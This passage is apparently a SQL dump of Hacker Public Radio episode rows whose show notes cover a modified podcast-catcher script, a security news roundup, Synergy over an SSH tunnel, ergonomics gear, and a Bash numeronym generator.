(3748,'2022-12-14','The Squirrels gift to HPR',569,'The Squirrels have modified Bash Podder to do something different','<p>Humans,</p>\n<p>Download the following compressed tar file containing the Squirrels\nPodcast thingie.</p>\n<p><a\nhref=\"https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing\"\nclass=\"uri\">https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing</a></p>\n<p>Untar the thingie;</p>\n<pre><code>tar -zxvf PODTHING</code></pre>\n<p>explore the subdirectories it created.</p>\n<p>You can copy the Media_Gift directory to where ever you want it to\nreside and even rename it\n<code>mv Media_Gift  /home/me/mythingie</code></p>\n<p>install your own korn shell {KSH} or modify the bashpodder.shell\nscripts located inside to point to where ever you keep bash on your\nsystem.</p>\n<p>Run the entire script from the Media_Gift directory</p>\n<pre><code>./get_all_podcasts</code></pre>\n<p>Enjoy Humans. All Squirrels love all humans. Happy Holidays. Eat more\nnuts.</p>\n',377,0,1,'CC-BY-SA','podcastcatcher,bashpoddermod',0,0,1),
(3743,'2022-12-07','HPR News',575,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR NEWS</h1>\n<h1 id=\"news-for-the-community-by-the-community\">News for the community,\nby the community.</h1>\n<ul>\n<li><p><strong>TAGS:</strong> Ransomware, Malware, Phishing, Security\nBreach</p></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/microsoft-confirms-server.html\">Microsoft\nConfirms Server Misconfiguration Led to 65,000+ Companies\' Data\nLeak</a></p>\n<ul>\n<li>Microsoft &#x201C;misconfigured&#x201D; an <a\nhref=\"https://azure.microsoft.com/en-us/products/storage/blobs/#overview\">Azure\nBlob Storage</a> server causing a security breach. Attackers were able\nto access unauthorized customer data; business transactions and other\ninteractions between Microsoft and its customers. <a\nhref=\"https://socradar.io/\">SOCRadar</a>, a cyber security company, is\ncalling the security breach &#x201C;BlueBleed&#x201D;. SOCRadar discovered the breach\non September 24, 2022 Microsoft is downplaying the security breach but\nsecurity researcher Kevin Beaumont isn\'t buying it. Mr. Beaumont suggest\nMicrosoft dropped the ball on informing its customers, and federal\nregulators, of the security breach in a timely manner.</li>\n</ul></li>\n<li><p><a\nhref=\"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/\">HiddenAds\nmalware affects 1M+ Android users</a></p>\n<ul>\n<li>McAfee&#x2019;s Mobile Research Team identified multiple apps containing\nmalware on the Google Play Store. After install, the malicious android\napps automatically run services without the user knowing or interacting\nwith the app. That&#x2019;s right, they auto run after install. These malicious\napps then disguise themselves by changing their icon to the &#x201C;Google\nPlay&#x201D; icon and renaming to themselves to &#x201C;Google Play&#x201D; or &#x201C;Settings&#x201D;.\nThe malicious apps quickly create permanent malicious services. McAfee&#x2019;s\nMobile Research Team demonstrates the resilience of the malware by using\n<a href=\"https://www.man7.org/linux/man-pages/man1/kill.1.html\">kill\n-9</a> on the service processes. More malicious processes generate\nimmediately as if nothing happened.</li>\n</ul></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/experts-warn-of-stealthy-powershell.html\">Fully\nundetectable PowerShell backdoor disguised as part of a Windows\nupdate</a></p>\n<ul>\n<li>Director of security research at SafeBreach, Tomer Bar stated, \"The\ncovert self-developed tool and the associated C2 commands seem to be the\nwork of a sophisticated, unknown threat actor who has targeted\napproximately 100 victims.\"</li>\n<li>Based on the metadata found within a malicious document, this seems\nto be a LinkedIn-based spear-phishing attack, which ultimately leads to\nthe execution of a PowerShell script via a piece of embedded macro\ncode.</li>\n<li>\"The Macro drops \'updater.vbs\' creates a scheduled task pretending\nto be part of a Windows update, which will execute the updater.vbs\nscript from a fake update folder under\n\'%appdata%\\local\\Microsoft\\Windows,\'\"said Tomar.</li>\n<li>Currently 32 security vendors and 18 anti-malware engines have\nflagged the decoy document and the PowerShell scripts as malicious.</li>\n<li>The findings come as Microsoft has <a\nhref=\"https://thehackernews.com/2022/07/microsoft-resumes-blocking-office-vba.html\">taken\nsteps</a> to block Excel 4.0 (XLM or XL4) and Visual Basic for\nApplications (VBA) macros by default across Office apps, prompting\nthreat actors to pivot to <a\nhref=\"https://thehackernews.com/2022/07/hackers-opting-new-attack-methods-after.html\">alternative\ndelivery methods</a>.</li>\n</ul></li>\n<li><p><a\nhref=\"https://apnews.com/6f1ec0c740d878ad00f5b08d2521f831\">Millions of\npatients compromised in hospital data leak.</a></p>\n<ul>\n<li>Nearly 3 million Illinois &amp; Wisconsin patients are caught in a\nhospital data breach. Advocate Aurora Health, which operates 27\nhospitals, said in a statement, &#x201C;the breach may have exposed information\nincluding a patients\' medical provider, type of appointments, medical\nprocedures, dates and locations of scheduled appointments, and IP\naddresses&#x201D;. The system blamed the breach on its use of pixels, computer\ncode that collects information on how a user interacts with a website,\nincluding products developed by Google and Facebook\'s parent company\nMeta that make the collected data accessible to those companies.</li>\n<li>The health care industry\'s use of pixels has come under wide\ncriticism from privacy advocates who warn that the technology\'s use\nviolates federal patient privacy law. A <a\nhref=\"https://ocrportal.hhs.gov/ocr/breach/breach_report.jsf\">report</a>\npublished in June by The Markup found many of the country\'s top-ranked\nhospitals used the Meta Pixel, collecting and sending sensitive patient\ninformation to the social media company.</li>\n</ul></li>\n</ul>\n<h2 id=\"user-space\">User space.</h2>\n<ul>\n<li><a\nhref=\"https://www.washingtontimes.com/news/2022/oct/21/texas-sues-google-surreptitiously-collecting-users/\">Texas\nsues Google for biometric data collecting</a>\n<ul>\n<li>Texas has filed a lawsuit against Google claiming the tech behemoth\ntook users&#x2019; biometric data without permission. <a\nhref=\"https://kenpaxton.com/\">Texas Attorney General Ken Paxton</a>,\nclaims Google is illegally data harvesting Texans using features and\ndevices such as: Google Photos, Google Assistant, and Nest Hub Max. <a\nhref=\"https://www.linkedin.com/in/jose-castaneda-378a338a\">Google\nspokesman Jos&#xE9; Casta&#xF1;eda</a><br />\nis willing to take the argument to court, &#x201C;AG Paxton is once again\nmischaracterizing our products in another breathless lawsuit,&#x201D;.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Meta, HPR News',0,0,1),
(3744,'2022-12-08','Advent of code Day 1 - 4',308,'Talking about my experience of advent of code so far','<p>Advent of code:</p>\n<p><a href=\"https://adventofcode.com/\"\nclass=\"uri\">https://adventofcode.com/</a></p>\n<p>Here are some links to the recording of my puzzle-solving:</p>\n<ul>\n<li><p>Day 1<br />\n<a href=\"https://youtu.be/yxXL5gP2RpE\"\nclass=\"uri\">https://youtu.be/yxXL5gP2RpE</a></p></li>\n<li><p>Day 2<br />\n<a href=\"https://youtu.be/OoRyHjTvmIg\"\nclass=\"uri\">https://youtu.be/OoRyHjTvmIg</a></p></li>\n<li><p>Day 3<br />\n<a href=\"https://youtu.be/Le5WRtjyOyI\"\nclass=\"uri\">https://youtu.be/Le5WRtjyOyI</a></p></li>\n<li><p>Day 4<br />\n<a href=\"https://youtu.be/E2FJCrbrdDc\"\nclass=\"uri\">https://youtu.be/E2FJCrbrdDc</a></p></li>\n</ul>\n',382,0,0,'CC-BY-SA','advent of code, aoc, java',0,0,1),
(3742,'2022-12-06','Battery',626,'The wikipedia article on the Battery','<p>A battery converts chemical energy into electrical energy by a\nchemical reaction. Usually the chemicals are kept inside the battery. It\nis used in a circuit to power other components. A battery produces\ndirect current (DC) electricity (electricity that flows in one\ndirection, and does not switch back and forth).</p>\n<p>Using the electricity from an outlet in a building is cheaper and\nmore efficient, but a battery can provide electricity in areas that do\nnot have electric power distribution. It is also useful for things that\nmove, such as electric vehicles and mobile phones.</p>\n<p>Batteries may be primary or secondary. The primary is thrown away\nwhen it can no longer provide electricity. The secondary can be\nrecharged and reused.</p>\n<p><a href=\"https://simple.wikipedia.org/wiki/Battery\">Continue Reading\non Wikipedia</a></p>\n',30,43,0,'CC-BY-SA','battery, cell, ham, wikipedia',0,0,1),
(3747,'2022-12-13','Twitter and Dinner with the Humans',1614,'I talk about Twitter after dinner with some Humans','<p>Reality 2.0 Podcast<br />\n<a href=\"https://www.reality2cast.com/\"\nclass=\"uri\">https://www.reality2cast.com/</a></p>\n',377,0,1,'CC-BY-SA','Dinner,Humans,Twitter',0,0,1),
(3751,'2022-12-19','Using Noisetorch',427,'Noisetorch is a program for Linux that creates a virtual microphone that removes background sounds.','<p>Official Noisetorch repo: <a href=\"https://github.com/noisetorch/NoiseTorch\">https://github.com/noisetorch/NoiseTorch</a></p>\n\n<p><a href=\"https://www.youtube.com/watch?v=DzN9rYNeeIU\">Noisetorch demo video</A> by <a href=\"https://www.youtube.com/@LinuxForEveryone\">Linux for everyone</a></p>\n\n<p><a href=\"https://pipewire.org/\">The Pipewire soundsystem</a> for Linux.</p>\n',194,0,0,'CC-BY-SA','audio,podcasting,microphone,linux',0,0,1),
(3755,'2022-12-23','Synergy over ssh',1495,'Control your other PC securely using synergy over ssh','<p>In today\'s show we will talk about installing synergy so that you can\ncontrol the keyboard and mouse of another computer securely over\nssh.</p>\n<p>Install synergy on both computers as root</p>\n<pre><code># dnf install synergy\n# apt install synergy</code></pre>\n<p>The main pc is <code>pc_middle</code> and it is the one with the\nkeyboard and mouse we intend to use for all the computers.</p>\n<p>The only other pc in this configuration is, one on the right which we\ncall <code>pc_right</code></p>\n<p>On <code>pc_middle</code> create a configuration file. I put it in\n<code>~/etc/synergy-work.conf</code></p>\n<pre><code>section: screens\n    pc_middle:\n    pc_right:\nend\n\nsection: links\npc_middle:\n    right = pc_right\npc_right:\n    left  = pc_middle\nend</code></pre>\n<p>On <code>pc_middle</code> add entry to <code>~/.ssh/config</code> to\nallow portforwarding back, for the <strong>synergy</strong> port\n<em>24800</em></p>\n<pre><code>Host pc_right\n    Hostname 192.168.0.150\n    RemoteForward 127.0.0.1:24800 127.0.0.1:24800 # send back from the client to me</code></pre>\n<p>On <code>pc_middle</code> run synergy server in the foreground with\ndebug enabled</p>\n<pre><code>[user@pc_middle ~]$ synergys --debug DEBUG --no-daemon --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\n[2022-12-03T16:29:05] DEBUG: opening configuration &quot;~/etc/synergy-work.conf&quot;\n[2022-12-03T16:29:05] DEBUG: configuration read successfully\n[2022-12-03T16:29:05] DEBUG: XOpenDisplay(&quot;:0&quot;)\n[2022-12-03T16:29:05] DEBUG: xscreensaver window: 0x00c00001\n[2022-12-03T16:29:05] DEBUG: screen shape: 0,0 5760x2160 (xinerama)\n[2022-12-03T16:29:05] DEBUG: window is 0x05e00004\n[2022-12-03T16:29:05] DEBUG: adopting new buffer\n[2022-12-03T16:29:05] DEBUG: opened display\n[2022-12-03T16:29:05] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T16:29:05] DEBUG: registered hotkey ScrollLock (id=ef14 mask=0000) as id=1\n[2022-12-03T16:29:05] NOTE: started server, waiting for clients\n[2022-12-03T16:29:05] DEBUG: event queue is ready\n[2022-12-03T16:29:05] DEBUG: add pending events to buffer\n[2022-12-03T16:29:05] DEBUG: screen &quot;pc_middle&quot; shape changed</code></pre>\n<p>On <code>pc_middle</code> you can check that it\'s running</p>\n<pre><code>[user@pc_middle ~]$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800     0.0.0.0:*               LISTEN      90859/synergys</code></pre>\n<p>On <code>pc_middle</code> you can connect to\n<code>pc_right</code></p>\n<pre><code>[user@pc_middle ~]$ ssh pc_right\nuser@pc_right:~$</code></pre>\n<p>On <code>pc_right</code> (either on its own keyboard, or via ssh\nsession from <code>pc_middle</code>), check that port <code>24800</code>\nis listening</p>\n<pre><code>user@pc_right:~$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800         0.0.0.0:*               LISTEN</code></pre>\n<p>On the other keyboard that is connected to the <code>pc_right</code>\n(see note below &#x2020;)</p>\n<pre><code>user@pc_right:~$ synergyc --debug INFO --no-daemon --name pc_right 127.0.0.1\n[2022-12-03T16:38:59] NOTE: started client\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,404\n[2022-12-03T16:38:59] NOTE: connecting to &#39;127.0.0.1&#39;: 127.0.0.1:24800\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/client/Client.cpp,146\n[2022-12-03T16:38:59] NOTE: connected to server\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,294</code></pre>\n<p>Back on <code>pc_middle</code>, you should see the the log that you\nhave connected</p>\n<pre><code>[2022-12-03T16:40:15] DEBUG: Opening new socket: 18FC73A0\n[2022-12-03T16:40:15] NOTE: accepted client connection\n[2022-12-03T16:40:16] DEBUG: received client &quot;pc_right&quot; info shape=0,0 5760x2160 at 2787,1371\n[2022-12-03T16:40:16] NOTE: client &quot;pc_right&quot; has connected</code></pre>\n<p>&#x2020; Note: If you tried to run the client <code>synergyc</code> over the\nssh connection on <code>pc_middle</code> it will connect, but the mouse\nwill never <em>move</em> to the other screen.</p>\n<p>Now from the <code>pc_middle</code>, you should be able to\n<em>move</em> the mouse over to the <code>pc_right</code> screen.</p>\n<p>Now using the keyboard and mouse on the <code>pc_middle</code>, you\nshould now be able to move the mouse and type on the\n<code>pc_right</code> screen.</p>\n<p>The logs on the <code>pc_middle</code>, should show you information\nabout switching from one computer to the other.</p>\n<pre><code>[2022-12-03T17:05:18] INFO: switch from &quot;pc_middle&quot; to &quot;pc_right&quot; at 0,225\n[2022-12-03T17:05:18] INFO: leaving screen\n[2022-12-03T17:05:18] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 0\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 0\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (8 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 0\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 1\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 1\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444), text/html (653)\n[2022-12-03T17:05:18] DEBUG: added format 1 for target text/html (653) (113 bytes)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (5 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 1\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 1\n[2022-12-03T17:05:18] DEBUG: sending clipboard 0 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=20\n[2022-12-03T17:05:18] DEBUG: sending clipboard 1 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=138\n[2022-12-03T17:05:19] INFO: switch from &quot;pc_right&quot; to &quot;pc_middle&quot; at 5757,583\n[2022-12-03T17:05:19] INFO: entering screen\n[2022-12-03T17:05:19] DEBUG: send xscreensaver command: 582 0 0</code></pre>\n<p>Back on <code>pc_right</code> you can close the client by holding\nControl and pressing C, or Ctrl+C for short.</p>\n<p>The logs on the <code>pc_middle</code>, should show you that the\nclient disconnected.</p>\n<pre><code>[2022-12-03T16:40:18] NOTE: client &quot;pc_right&quot; has disconnected\n[2022-12-03T16:40:18] DEBUG: Closing socket: 18FC73A0</code></pre>\n<p>As we are running over ssh, there is no need to configure\n<code>--enable-crypto</code> but you can if you wish.</p>\n<p>Now that everything is working correctly you can make it easier to\nstart.</p>\n<p>As we saw before (&#x2020;) the client needs to be run from the physical X\nSession that you see on the second computer.</p>\n<p>On <code>pc_right</code> create a new bash script file eg:\n<code>nano ~/bin/start-synergy-client.bash</code></p>\n<pre><code>#!/bin/bash\nkillall synergyc\nsleep 2\nsynergyc --name pc_right 127.0.0.1\nexit 0</code></pre>\n<p>Still on <code>pc_right</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-client.bash</code></p>\n<p>Still on <code>pc_right</code> and <strong>in the session you wish to\ncontrol</strong>, run <code>start-synergy-client.bash</code></p>\n<p>I find it easiest to just run this in a shell once I login on\n<code>pc_right</code>, but you could configure it to <a\nhref=\"https://learn.adafruit.com/synergy-on-raspberry-pi/setup-synergy-client-autostart\">run\nautomatically once you log in</a>.</p>\n<p>Back on <code>pc_middle</code>, create a new bash script file eg:\n<code>nano ~/bin/start-synergy-server.bash</code></p>\n<pre><code>#!/bin/bash\nserver_name=synergys # may also be synergy-core\nkillall &quot;${server_name}&quot;\n${server_name} --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\nsetxkbmap -option &quot;compose:ralt&quot;\nsetxkbmap -option &quot;ctrl:nocaps&quot;\nssh pc_right</code></pre>\n<p>Still on <code>pc_middle</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-server.bash</code></p>\n<p>Still on <code>pc_middle</code> you can run the command\n<code>start-synergy-server.bash</code> and it will open a ssh shell to\n<code>pc_right</code>.</p>\n<p>Over that connection <code>pc_right</code> can send back commands to\nthe server.</p>\n<p>A side note about the special address 127.0.0.1.</p>\n<p>It\'s often referred to as <strong>loopback</strong>, home, or\n<code>localhost</code> and is usually defined in\n<code>/etc/hosts</code></p>\n<p>The address is used by programs running on a given computer to\ncommunicate with other programs running on the same computer.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Localhost\">https://en.wikipedia.org/wiki/Localhost</a></p>\n<blockquote>\n<p>IPv4 network standards reserve the entire address block 127.0.0.0/8\n(more than 16 million addresses) for loopback purposes.</p>\n</blockquote>\n<p>If you are confused, then just think of it like you when your boss\nsays \"I\'m going home now, you should also go home.\"</p>\n<p>It\'s clear that they mean \"I\'m going to <strong>my</strong> home now,\nand you should also go to <strong>your</strong> home.\"</p>\n<p>So the address 127.0.0.1 on <code>pc_middle</code> is only available\non <code>pc_middle</code>, and equally the address 127.0.0.1 on\n<code>pc_right</code> is only available on <code>pc_right</code>.</p>\n<p>The server is listening on its loopback address 127.0.0.1 on\n<code>pc_middle</code>, while the client is listening on its loopback\naddress 127.0.0.1 on <code>pc_right</code></p>\n<p>It is the <code>RemoteForward</code> configuration that creates a ssh\n<code>tunnel</code> that is doing the heavy lifting.</p>\n<pre><code>RemoteForward 127.0.0.1:24800 127.0.0.1:24800</code></pre>\n<p>It tells the Remote (in this case <code>pc_right</code> ) to listen\nto the port <code>24800</code> its loopback address.</p>\n<p>This is where the client on <code>pc_right</code> will be talking\nto.</p>\n<p>The ssh connection will then Forward any packets back to the other\nside (in this case <code>pc_middle</code> )</p>\n<p>And to send to the port <code>24800</code> its loopback address.</p>\n<p>And on that address the server is listening.</p>\n',30,0,0,'CC-BY-SA','synergy,ssh,port forward,tunnel',0,0,1),
(4021,'2024-01-01','HPR Community News for December 2023',0,'HPR Volunteers talk about shows released and comments posted in December 2023','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3752,'2022-12-20','It only took me 2 years to record using some \'new\' hardware',582,'the why and what of some new recording hardware','<p>I tend to put the \"no\" in notes!</p>\n<p><a href=\"https://www.presonus.com/products/AudioBox-USB-96\"\nclass=\"uri\">https://www.presonus.com/products/AudioBox-USB-96</a><br />\n<a href=\"https://www.pine64.org/pinebook-pro/\"\nclass=\"uri\">https://www.pine64.org/pinebook-pro/</a></p>\n',243,0,0,'CC-BY-SA','linux, audacity, audio, hardware',0,0,1),
(3762,'2023-01-03','Existence is pain',1329,'RSI, carpal tunnel syndrome and ergonomics','<p>I know right no show notes .. ok FINE !</p>\n<p><a\nhref=\"https://www.google.com/search?q=herman+miller+aeron+%22used%22\"\nclass=\"uri\">https://www.google.com/search?q=herman+miller+aeron+%22used%22</a></p>\n<ul>\n<li><p>Freestyle Pro<br />\n<a href=\"https://kinesis-ergo.com/shop/freestyle-pro/\"\nclass=\"uri\">https://kinesis-ergo.com/shop/freestyle-pro/</a></p></li>\n<li><p>Freestyle VIP3 Pro Premium<br />\n<a href=\"https://kinesis-ergo.com/shop/ac925/\"\nclass=\"uri\">https://kinesis-ergo.com/shop/ac925/</a></p></li>\n<li><p>FUTURO-48462 Night Wrist Support SIOC, Helps Provide Nighttime\nRelief of Carpal Tunnel Symptoms, Breathable, One Size - Navy<br />\n<a href=\"https://smile.amazon.com/dp/B0057D86QA\"\nclass=\"uri\">https://smile.amazon.com/dp/B0057D86QA</a></p></li>\n<li><p>Futuro Energizing Wrist Support, Left, Large/X-Large<br />\n<a href=\"https://smile.amazon.com/dp/B0026RHGB6\"\nclass=\"uri\">https://smile.amazon.com/dp/B0026RHGB6</a></p></li>\n<li><p>Dr. Frederick\'s Original Arthritis Gloves for Women &amp; Men -\nCompression for Arthritis Pain Relief - Large<br />\n<a href=\"https://smile.amazon.com/dp/B01LR4VNZI\"\nclass=\"uri\">https://smile.amazon.com/dp/B01LR4VNZI</a></p></li>\n<li><p>Dynamic Health Organic Tart Cherry | Unsweetened 100% Juice\nConcentrate | Vegan, Gluten Free, BPA Free (16oz)<br />\n<a href=\"https://smile.amazon.com/dp/B00NALVQWM\"\nclass=\"uri\">https://smile.amazon.com/dp/B00NALVQWM</a></p></li>\n<li><p>Lunix LX3 Cordless Electric Hand Massager with Compression, 6\nLevels Pressure Point Therapy Massager for Arthritis, Pain Relief,\nCarpal Tunnel and Finger Numbness, Shiatsu Massage Machine with\nHeat<br />\n<a href=\"https://smile.amazon.com/dp/B07QNFWY7J\"\nclass=\"uri\">https://smile.amazon.com/dp/B07QNFWY7J</a></p></li>\n<li><p>The Original 1 inch Thick Comfort Anti Fatigue Floor Mat, Perfect\nfor Kitchens and Standing Desks (Black, 20x30x1-Inch)</p></li>\n<li><p>Electric Stand up Desk Frame - FEZIBO Dual Motor and Cable\nManagement Rack Height Adjustable Sit Stand Standing Desk Base\nWorkstation (Frame Only)</p></li>\n</ul>\n',36,0,1,'CC-BY-SA','rsi, carpal tunnel and ergonomics\nhealth,rsi,carpal tunnel,ergonomics',0,0,1),
(3753,'2022-12-21','Some thoughts on \"Numeronyms\"',716,'AKA alphanumeric acronyms, alphanumeric abbreviations, or numerical contractions','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>I have recently been wondering about the use of abbreviations which\nare built from the first letter of a word followed by a number and the\nlast letter. The number represents the count of letters between the\nstart and end letter. Thus <code>accessibility</code> becomes\n<code>a11y</code>. This came to light (to me anyway) during an email\nexchange with Mike Ray regarding the accessibility issues on the tag\nindex page on the HPR site. The website issues were resolved, but I was\nleft wondering how useful the term <code>a11y</code> is, or whether it\njust jars with me!</p>\n<p>According to the <a\nhref=\"https://en.wikipedia.org/wiki/Numeronym\">Wikipedia article</a>\nthis type of word is known as a <em>numeronym</em>, but they may also be\nreferred to as <em>alphanumeric acronyms</em>, <em>alphanumeric\nabbreviations</em>, or <em>numerical contractions</em>.</p>\n<p>As the Wikipedia article notes these types of abbreviations are\nalmost always used to refer to their computing sense — such as\n<em>g11n</em> for <em>globalisation</em> — in the context of computing,\nnot the general context.</p>\n<h2 id=\"looking-at-a11y-as-an-example\">Looking at <em>a11y</em> as an\nexample</h2>\n<p>While I sympathise with the motivation behind using\n<code>\'a11y\'</code> to mean <em>accessibility</em>, I do find it odd and\ncounter-intuitive. I often find myself pondering the acceptability of\nthis type of abbreviation. How many other words in common English fit\npatterns like this I wonder? Quite a few I would expect. How does this\naffect the admissibility of such abbreviations?</p>\n<p>Not only are they adventurously strange to my simple brain, but I\nfind them to be aesthetically displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\naffirmatively supportive of this view. I describe this experiment\nlater.</p>\n<p>Algebraically, it is to be expected that there are many dictionary\nwords of 13 characters which start with <code>\'a\'</code> and end with\n<code>\'y\'</code>. Looking at them allegorically, such numeronyms convey\nlittle meaning except in very limited contexts since the motivation\nseems to be to reduce the need to type long words. Alternatively, if\nthey were accepted by data entry software and expanded automatically a\nbetter case could be made for applicability, but only one word could be\nassigned to a numeronym.</p>\n<p>In my mind there is a certain artificiality in the use of these\nabbreviations. </p>\n<hr />\n<p>You might wonder at the weird rambling nature of the above section -\nthis was my (small) joke to try and use many of the words that match the\n<em>a11y</em> pattern.</p>\n<p>Here’s the result of transforming them:</p>\n<blockquote>\n<p><small>While I sympathise with the motivation behind\n<code>\'a11y\'</code> to mean <em>accessibility</em>, I do find it odd and\ncounter-intuitive. I often find myself pondering the <code>a11y</code>\nof this type of abbreviation. How many other words in common English fit\nthese patterns I wonder? Quite a few I would expect. How does this\naffect the <code>a11y</code> of such abbreviations?</small></p>\n<p><small>Not only are they <code>a11y</code> strange to my simple brain, but I\nfind them to be <code>a11y</code> displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\n<code>a11y</code> supportive of this view. I describe this experiment\nlater.</small></p>\n<p><small><code>A11y</code>, it is to be expected that there are many\ndictionary words of 13 characters which start with <code>\'a\'</code> and\nend with <code>\'y\'</code>. Looking at them <code>a11y</code>, such\nnumeronyms convey little meaning except in very limited contexts since\nthe motivation seems to be to reduce the need to type long words.\n<code>A11y</code>, if they were accepted by data entry software and\nexpanded <code>a11y</code> a better case could be made for\n<code>a11y</code>, but only one word could be assigned to a\nnumeronym.</small></p>\n<p><small>In my mind there is a certain <code>a11y</code> in the use of these\nabbreviations.</small></p>\n</blockquote>\n<hr />\n<h2 id=\"make-your-own-numeronyms\">Make your own numeronyms</h2>\n<p>The following piece of Bash scripting scans the file\n<code>/usr/share/dict/words</code> and picks out words which match the\n<code>a11y</code> pattern (after removing those ending in\n<code>\'s</code>). It writes the word and the <em>numeronym</em>\ngenerated from it, which it computes, though it’s unnecessary in this\ncase because they all generate the same numeronym. I did it this way\nbecause I wanted to apply the algorithm to other words:</p>\n<pre><code>while read -r word; do\n    printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\ndone &lt; &lt;(grep -E -v &quot;&#39;s$&quot; /usr/share/dict/words | grep -E &#39;^a.{11}y$&#39;)</code></pre>\n<p>Here’s a variant which selects all words which are 8-20 letters long,\nand picks 20 at random to which to apply the <em>numeronym</em>\nalgorithm:</p>\n<pre><code>while read -r word; do\n    printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\ndone &lt; &lt;(grep -E -v &quot;&#39;s$&quot; /usr/share/dict/words | grep -E &#39;^.{8,20}$&#39; | shuf -n 20)</code></pre>\n<p>Here is a sample:</p>\n<pre><code>Aconcagua            A7a\nsemiweeklies         s10s\nbroadened            b7d\nenlisting            e7g\nnonpolitical         n10l\nrecessional          r9l\nreorganizing         r10g\noptimizations        o11s\ntaunting             t6g\nsubservience         s10e\ndinosaur             d6r\nhydroelectric        h11c\nmellowing            m7g\nperching             p6g\nWinnebago            W7o\nbunghole             b6e\nmundanely            m7y\nnoisemaker           n8r\nrattlings            r7s\nmicroprocessors      m13s</code></pre>\n<p>Have fun with this - if you are so inclined!</p>\n<h2 id=\"extremely-long-word-fake\">Extremely long word (fake)</h2>\n<p>In researching for this episode I came upon an <em>extremely</em>\nlong word, with information about it on <a\nhref=\"https://en.wikipedia.org/wiki/Pneumonoultramicroscopicsilicovolcanoconiosis\">Wikipedia</a>.\nThe word is:</p>\n<pre><code>Pneumonoultramicroscopicsilicovolcanoconiosis</code></pre>\n<p><a\nhref=\"https://upload.wikimedia.org/wikipedia/commons/4/4b/En-us-pneumonoultramicroscopicsilicovolcanoconiosis.ogg\">Click\nto hear it spoken on Wikipedia</a></p>\n<p>This is a made-up (possibly nonsensical) word, but I thought I could\ntry my algorithm on it:</p>\n<pre><code>$ word=&quot;Pneumonoultramicroscopicsilicovolcanoconiosis&quot;\n$ printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\nPneumonoultramicroscopicsilicovolcanoconiosis P43s</code></pre>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>Numeronyms don’t appeal to me. Notwithstanding my little jokes above,\nI know the proposal is <strong>not</strong> to replace all longer words\nwith them; this would cause chaos! However, as a means of denoting long\nwords this seems wrong.</p>\n<p>I assume that their evolution occurs like this:</p>\n<ul>\n<li>We use a word often in a particular context</li>\n<li>The word is long and not easy to type</li>\n<li>For the sake of speed and to avoid typographic errors we make a\n<em>numeronym</em></li>\n<li>We then tell the world that <code>\"i18n\"</code> (as an example)\nmeans <em>internationalisation</em>.</li>\n<li>Those in the know have no problems with it but many people who\nencounter it later puzzle over it - as I am doing here!</li>\n</ul>\n<p>It seems fair to say that this obscure process has fulfilled the need\nto abbreviate this awkwardly long word - in the limits of the context\nwhere it has evolved. However it has not conveyed information very well;\nit has mainly benefited those who write (or read) documentation relating\nto the context.</p>\n<p>Many editor and word processor applications have the facility of\nexpanding abbreviations like this, in my experience. I would prefer to\nuse this rather than embed the coded abbreviation into the language.</p>\n<p>On the other hand, I’m OK with\n<em>Pneumonoultramicroscopicsilicovolcanoconiosis</em> being replaced by\n<em>P43s</em>!</p>\n<p>I will confess that I had a similar reaction to <a\nhref=\"https://xkcd.com/1133/\">XKCD’s “<em>Up Goer Five</em>”</a>\nidea. He explains the Saturn 5 - “<em>Explained using only the ten\nhundred words people use the most often</em>”.</p>\n<p>Maybe you disagree with me! If so, feel free to add a comment to this\nshow — or indeed, record a show of your own!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a 